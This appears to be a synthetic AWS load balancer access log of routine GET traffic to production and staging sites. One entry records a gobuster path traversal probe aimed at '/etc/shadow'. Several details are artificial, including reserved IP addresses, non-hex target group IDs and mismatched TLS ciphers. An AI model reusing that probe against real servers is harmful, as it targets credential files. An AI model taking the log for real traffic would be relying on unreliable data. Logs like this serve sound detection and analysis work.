arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf32-f4860323263440ebb9a17b09" "prod-web-alb.example.com" "-" 0 2024-11-01T00:32:34.629396Z "forward" "-" "-" "10.0.164.138:443" "301" "-" "-" -https 2024-11-01T00:32:35.022971Z prod-api-alb 117.184.242.5:50848 10.0.34.244:443 0.083695 0.152555 0.007328 200 200 198 525 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf33-af8a0ebed7db4c6aba5cac06" "prod-api-alb.example.com" "-" 5 2024-11-01T00:32:35.022971Z "forward" "-" "-" "10.0.34.244:443" "200" "-" "-" -https 2024-11-01T00:32:36.577073Z staging-alb 194.234.34.15:42965 244.137.100.173:80 0.073613 0.571613 0.115675 302 302 865 2171 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf34-0f2bbabec05d4b2c96435915" "staging-alb.example.com" "-" 9 2024-11-01T00:32:36.577073Z "forward" "-" "-" "244.137.100.173:80" "302" "-" "-" -http 2024-11-01T00:32:37.781098Z staging-alb 211.185.181.68:12062 206.217.8.94:8080 0.063917 0.104846 0.118273 200 200 762 525 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf35-5eeb9159c38049e1abc8cd5a" "staging-alb.example.com" "-" 0 2024-11-01T00:32:37.781098Z "forward" "-" "-" "206.217.8.94:8080" "200" "-" "-" -https 2024-11-01T00:32:39.226404Z prod-api-alb 10.229.136.149:52879 10.0.222.91:443 0.019026 0.354384 0.032842 200 200 162 3077 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf37-5d3564bb0e2e4c27bc9f215d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:32:39.226404Z "forward" "-" "-" "10.0.222.91:443" "200" "-" "-" -https 2024-11-01T00:32:40.624706Z staging-alb 112.185.196.144:20484 106.187.134.101:80 0.051123 0.665344 0.067037 200 200 96 5595 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf38-582a1ecdcf9d4404abe0b97f" "staging-alb.example.com" "-" 5 2024-11-01T00:32:40.624706Z "forward" "-" "-" "106.187.134.101:80" "200" "-" "-" -https 2024-11-01T00:32:42.113247Z staging-alb 108.196.102.66:61703 20.160.243.184:443 0.008614 0.473371 0.068528 200 200 920 6582 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf3a-f2699dc02d5c4a079094b392" "staging-alb.example.com" "-" 8 2024-11-01T00:32:42.113247Z "forward" "-" "-" "20.160.243.184:443" "200" "-" "-" -http 2024-11-01T00:32:43.490463Z staging-alb 206.2.255.104:46889 145.42.179.180:80 0.041287 0.445076 0.141818 200 200 368 2002 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf3b-c99db8a0287b4c4fa823c442" "staging-alb.example.com" "-" 4 2024-11-01T00:32:43.490463Z "forward" "-" "-" "145.42.179.180:80" "200" "-" "-" -https 2024-11-01T00:32:44.783860Z staging-alb 68.99.151.190:60357 189.20.106.19:443 0.006752 0.423630 0.098840 301 301 681 3724 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf3c-2b0b960bbbe949399a718b6b" "staging-alb.example.com" "-" 6 2024-11-01T00:32:44.783860Z "forward" "-" "-" "189.20.106.19:443" "301" "-" "-" -http 2024-11-01T00:32:46.564636Z staging-alb 255.125.228.248:44347 79.104.101.2:443 0.055990 0.417422 0.072743 404 404 848 3918 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf3e-8788a0b985ac4bfca0dc9abc" "staging-alb.example.com" "-" 0 2024-11-01T00:32:46.564636Z "forward" "-" "-" "79.104.101.2:443" "404" "-" "-" -https 2024-11-01T00:32:47.160548Z prod-api-alb 139.186.122.30:32274 10.0.128.174:443 0.061909 0.160130 0.033385 200 200 227 4331 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf3f-bc3f2b7677594b40bc6c025b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:32:47.160548Z "forward" "-" "-" "10.0.128.174:443" "200" "-" "-" -https 2024-11-01T00:32:48.950172Z prod-api-alb 43.183.222.190:38526 10.0.71.140:443 0.074388 0.144423 0.064371 200 200 572 288 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf40-949530e16b2a4d9d8b1ff8e5" "prod-api-alb.example.com" "-" 9 2024-11-01T00:32:48.950172Z "forward" "-" "-" "10.0.71.140:443" "200" "-" "-" -https 2024-11-01T00:32:50.673192Z staging-alb 103.224.52.144:27220 203.199.65.51:443 0.086026 0.744071 0.005746 404 404 606 1829 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf42-d08af7e4faad46ebb40a647f" "staging-alb.example.com" "-" 9 2024-11-01T00:32:50.673192Z "forward" "-" "-" "203.199.65.51:443" "404" "-" "-" -https 2024-11-01T00:32:50.929702Z prod-api-alb 120.157.240.223:26532 10.0.49.111:443 0.012501 0.484500 0.095686 302 302 1 12517 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf42-88078c9ae18c4b94ac6e1d07" "prod-api-alb.example.com" "-" 3 2024-11-01T00:32:50.929702Z "forward" "-" "-" "10.0.49.111:443" "302" "-" "-" -https 2024-11-01T00:32:51.794241Z prod-api-alb 22.250.198.98:30673 10.0.114.244:443 0.096381 0.070622 0.047140 200 200 876 10926 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf43-3e99f899d640454daecf2051" "prod-api-alb.example.com" "-" 1 2024-11-01T00:32:51.794241Z "forward" "-" "-" "10.0.114.244:443" "200" "-" "-" -https 2024-11-01T00:32:51.905772Z prod-web-alb 177.111.142.42:26252 10.0.141.57:443 0.068066 0.211922 0.084495 200 200 382 4559 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf43-66dd6817600c4da18e2641ea" "prod-web-alb.example.com" "-" 2 2024-11-01T00:32:51.905772Z "forward" "-" "-" "10.0.141.57:443" "200" "-" "-" -https 2024-11-01T00:32:52.711734Z prod-web-alb 51.168.48.199:10622 10.0.90.128:443 0.055900 0.045373 0.078895 200 200 836 6535 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf44-8791591b9bab407fa3809708" "prod-web-alb.example.com" "-" 5 2024-11-01T00:32:52.711734Z "forward" "-" "-" "10.0.90.128:443" "200" "-" "-" -https 2024-11-01T00:32:54.561757Z prod-web-alb 6.225.22.91:38746 10.0.38.3:443 0.032138 0.227671 0.078282 302 302 813 11124 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf46-25e285f421e445cebf198a09" "prod-web-alb.example.com" "-" 4 2024-11-01T00:32:54.561757Z "forward" "-" "-" "10.0.38.3:443" "302" "-" "-" -https 2024-11-01T00:32:55.023550Z staging-alb 212.248.214.114:15511 220.134.145.31:443 0.097136 0.088804 0.011978 200 200 173 4231 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf47-85a82da41e1e4a1a8cde1959" "staging-alb.example.com" "-" 4 2024-11-01T00:32:55.023550Z "forward" "-" "-" "220.134.145.31:443" "200" "-" "-" -https 2024-11-01T00:32:55.618286Z prod-web-alb 179.5.226.134:28836 10.0.87.79:443 0.065570 0.102982 0.078702 200 200 230 5055 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf47-15a42c33fb9e48c183afaaa0" "prod-web-alb.example.com" "-" 8 2024-11-01T00:32:55.618286Z "forward" "-" "-" "10.0.87.79:443" "200" "-" "-" -https 2024-11-01T00:32:55.876797Z staging-alb 219.246.173.8:50893 120.51.78.53:80 0.043124 0.419162 0.044791 301 301 838 4977 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf47-3835d5eb11654532aa5a0665" "staging-alb.example.com" "-" 1 2024-11-01T00:32:55.876797Z "forward" "-" "-" "120.51.78.53:80" "301" "-" "-" -https 2024-11-01T00:32:57.771418Z staging-alb 142.222.171.112:20537 32.47.57.59:443 0.019386 0.725549 0.082404 301 301 751 10407 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf49-bb1efeec8f694bf8bc5dff1c" "staging-alb.example.com" "-" 3 2024-11-01T00:32:57.771418Z "forward" "-" "-" "32.47.57.59:443" "301" "-" "-" -https 2024-11-01T00:32:58.335924Z staging-alb 112.100.101.210:61828 231.214.114.223:8080 0.026119 0.589520 0.042521 200 200 451 6987 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf4a-48507f072ce7456c96d756ac" "staging-alb.example.com" "-" 5 2024-11-01T00:32:58.335924Z "forward" "-" "-" "231.214.114.223:8080" "200" "-" "-" -https 2024-11-01T00:32:59.152869Z prod-web-alb 50.24.48.165:64888 10.0.65.165:443 0.096928 0.318704 0.055979 404 404 904 2265 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf4b-5eee2631f3db43abb7a715a5" "prod-web-alb.example.com" "-" 5 2024-11-01T00:32:59.152869Z "forward" "-" "-" "10.0.65.165:443" "404" "-" "-" -https 2024-11-01T00:33:00.000905Z prod-web-alb 74.30.99.230:40888 10.0.127.170:443 0.021190 0.468806 0.049981 200 200 29 4148 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf4c-f2f8bae62fb8465dbf8fb457" "prod-web-alb.example.com" "-" 7 2024-11-01T00:33:00.000905Z "forward" "-" "-" "10.0.127.170:443" "200" "-" "-" -https 2024-11-01T00:33:01.827601Z prod-api-alb 242.199.16.178:53301 10.0.245.81:443 0.053571 0.328479 0.004722 200 200 879 7046 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf4d-99c972ad40a647af91cccf07" "prod-api-alb.example.com" "-" 7 2024-11-01T00:33:01.827601Z "forward" "-" "-" "10.0.245.81:443" "200" "-" "-" -https 2024-11-01T00:33:02.179040Z prod-api-alb 217.76.11.18:30269 10.0.31.36:443 0.025141 0.261528 0.021433 200 200 744 9641 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf4e-9d3d679a2fd34a179978aa22" "prod-api-alb.example.com" "-" 3 2024-11-01T00:33:02.179040Z "forward" "-" "-" "10.0.31.36:443" "200" "-" "-" -https 2024-11-01T00:33:02.590740Z prod-api-alb 69.120.89.30:60629 10.0.48.48:443 0.017520 0.482957 0.033683 200 200 880 11789 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf4e-3414288e7d444ef5aa23f1a6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:33:02.590740Z "forward" "-" "-" "10.0.48.48:443" "200" "-" "-" -https 2024-11-01T00:33:04.145507Z prod-api-alb 140.125.39.98:39379 10.0.48.93:443 0.090709 0.382677 0.071908 404 404 441 3178 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf50-58ec21955e94400fa17107e4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:04.145507Z "forward" "-" "-" "10.0.48.93:443" "404" "-" "-" -https 2024-11-01T00:33:05.361921Z prod-api-alb 181.40.111.114:22380 10.0.195.40:443 0.002343 0.465670 0.021884 301 301 176 1056 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf51-d73949ca83034ab7bb82567c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:33:05.361921Z "forward" "-" "-" "10.0.195.40:443" "301" "-" "-" -https 2024-11-01T00:33:05.862486Z staging-alb 232.118.224.210:38490 91.193.21.9:8080 0.010938 0.585333 0.120342 301 301 616 3059 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf51-5ddc3630a87c45d6b5b7c869" "staging-alb.example.com" "-" 6 2024-11-01T00:33:05.862486Z "forward" "-" "-" "91.193.21.9:8080" "301" "-" "-" -https 2024-11-01T00:33:07.507867Z prod-api-alb 181.21.60.152:24925 10.0.59.47:443 0.096309 0.359600 0.000291 301 301 488 4690 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf53-e4d316ae256a4f9a9f89526c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:33:07.507867Z "forward" "-" "-" "10.0.59.47:443" "301" "-" "-" -https 2024-11-01T00:33:08.040336Z prod-api-alb 208.72.128.26:22355 10.0.128.152:443 0.027889 0.122082 0.057799 200 200 235 2914 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf54-cf7686aa50154621993464b3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:08.040336Z "forward" "-" "-" "10.0.128.152:443" "200" "-" "-" -https 2024-11-01T00:33:08.932571Z prod-web-alb 193.27.228.156:21729 10.0.219.78:443 0.078867 0.315453 0.089825 404 404 449 1974 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf54-2974c8ce58764514bb2fba6f" "-" "-" 0 2024-11-01T00:33:08.932571Z "forward" "-" "-" "10.0.219.78:443" "404" "-" "-" -http 2024-11-01T00:33:10.608896Z staging-alb 75.100.236.212:49812 212.43.104.220:443 0.074521 0.350461 0.139825 200 200 314 9119 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf56-d6877d84ade5473e8a6f6293" "staging-alb.example.com" "-" 8 2024-11-01T00:33:10.608896Z "forward" "-" "-" "212.43.104.220:443" "200" "-" "-" -https 2024-11-01T00:33:11.510589Z prod-web-alb 137.7.240.83:36438 10.0.131.145:443 0.066328 0.365819 0.062801 200 200 420 5684 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf57-6ce7e7c89dbc49f29b35b81a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:11.510589Z "forward" "-" "-" "10.0.131.145:443" "200" "-" "-" -http 2024-11-01T00:33:11.984735Z staging-alb 50.76.100.210:14071 197.95.146.196:8080 0.071174 0.686632 0.061250 200 200 665 3158 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf57-ffe365f108ad4c47901890e0" "staging-alb.example.com" "-" 7 2024-11-01T00:33:11.984735Z "forward" "-" "-" "197.95.146.196:8080" "200" "-" "-" -https 2024-11-01T00:33:13.705410Z staging-alb 74.161.184.200:44469 148.90.62.35:80 0.085611 0.535833 0.019215 200 200 193 2659 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf59-9b4c0a7d62ee45869109510f" "staging-alb.example.com" "-" 7 2024-11-01T00:33:13.705410Z "forward" "-" "-" "148.90.62.35:80" "200" "-" "-" -https 2024-11-01T00:33:14.534542Z staging-alb 125.29.36.247:23275 84.71.81.119:80 0.088630 0.228745 0.013375 302 302 848 10296 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf5a-3170ba5e2bdc400e91b42d38" "staging-alb.example.com" "-" 3 2024-11-01T00:33:14.534542Z "forward" "-" "-" "84.71.81.119:80" "302" "-" "-" -https 2024-11-01T00:33:15.844852Z prod-api-alb 158.5.77.150:13776 10.0.251.95:443 0.002763 0.262840 0.000181 200 200 910 3341 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf5b-119af72df55d4748ad82f9ca" "prod-api-alb.example.com" "-" 9 2024-11-01T00:33:15.844852Z "forward" "-" "-" "10.0.251.95:443" "200" "-" "-" -https 2024-11-01T00:33:16.943308Z prod-web-alb 166.55.161.4:48653 10.0.125.249:443 0.047051 0.315132 0.025638 301 301 676 9722 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf5c-68f0d5ecdc4d456182e5e41d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:16.943308Z "forward" "-" "-" "10.0.125.249:443" "301" "-" "-" -https 2024-11-01T00:33:18.559280Z prod-web-alb 64.33.131.159:30661 10.0.216.236:443 0.063659 0.335759 0.090907 200 200 247 1569 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf5e-1d4d742236d949a3847c6e90" "prod-web-alb.example.com" "-" 5 2024-11-01T00:33:18.559280Z "forward" "-" "-" "10.0.216.236:443" "200" "-" "-" -https 2024-11-01T00:33:20.163865Z prod-web-alb 10.247.51.153:48381 10.0.102.12:443 0.024115 0.140977 0.022333 404 404 817 3767 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf60-6cf705ba6e6d4d06bbd4d228" "prod-web-alb.example.com" "-" 2 2024-11-01T00:33:20.163865Z "forward" "-" "-" "10.0.102.12:443" "404" "-" "-" -https 2024-11-01T00:33:21.670508Z prod-web-alb 62.190.49.183:15544 10.0.77.145:443 0.042705 0.213530 0.050537 200 200 402 12646 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf61-34ef8ebf55464750ae3fdb4c" "prod-web-alb.example.com" "-" 2 2024-11-01T00:33:21.670508Z "forward" "-" "-" "10.0.77.145:443" "200" "-" "-" -https 2024-11-01T00:33:22.682665Z prod-web-alb 251.111.55.154:14987 10.0.219.20:443 0.002743 0.325978 0.059511 200 200 550 10653 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf62-1ce7aa02f5b24fc98aff3370" "prod-web-alb.example.com" "-" 6 2024-11-01T00:33:22.682665Z "forward" "-" "-" "10.0.219.20:443" "200" "-" "-" -http 2024-11-01T00:33:24.594975Z staging-alb 55.77.81.76:18135 19.237.91.4:443 0.127907 0.499533 0.015264 200 200 873 12211 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf64-2990d0145e5c4e2d8af2d1e0" "staging-alb.example.com" "-" 7 2024-11-01T00:33:24.594975Z "forward" "-" "-" "19.237.91.4:443" "200" "-" "-" -https 2024-11-01T00:33:25.829794Z prod-api-alb 72.205.196.96:46011 10.0.128.126:443 0.026016 0.251419 0.082045 302 302 288 3261 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf65-c70aed3731aa437c8e705921" "prod-api-alb.example.com" "-" 2 2024-11-01T00:33:25.829794Z "forward" "-" "-" "10.0.128.126:443" "302" "-" "-" -https 2024-11-01T00:33:25.931094Z prod-web-alb 246.200.122.178:30554 10.0.202.132:443 0.081444 0.163720 0.001397 404 404 407 13170 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf65-1f52d9be4d4440b9906f93f2" "prod-web-alb.example.com" "-" 0 2024-11-01T00:33:25.931094Z "forward" "-" "-" 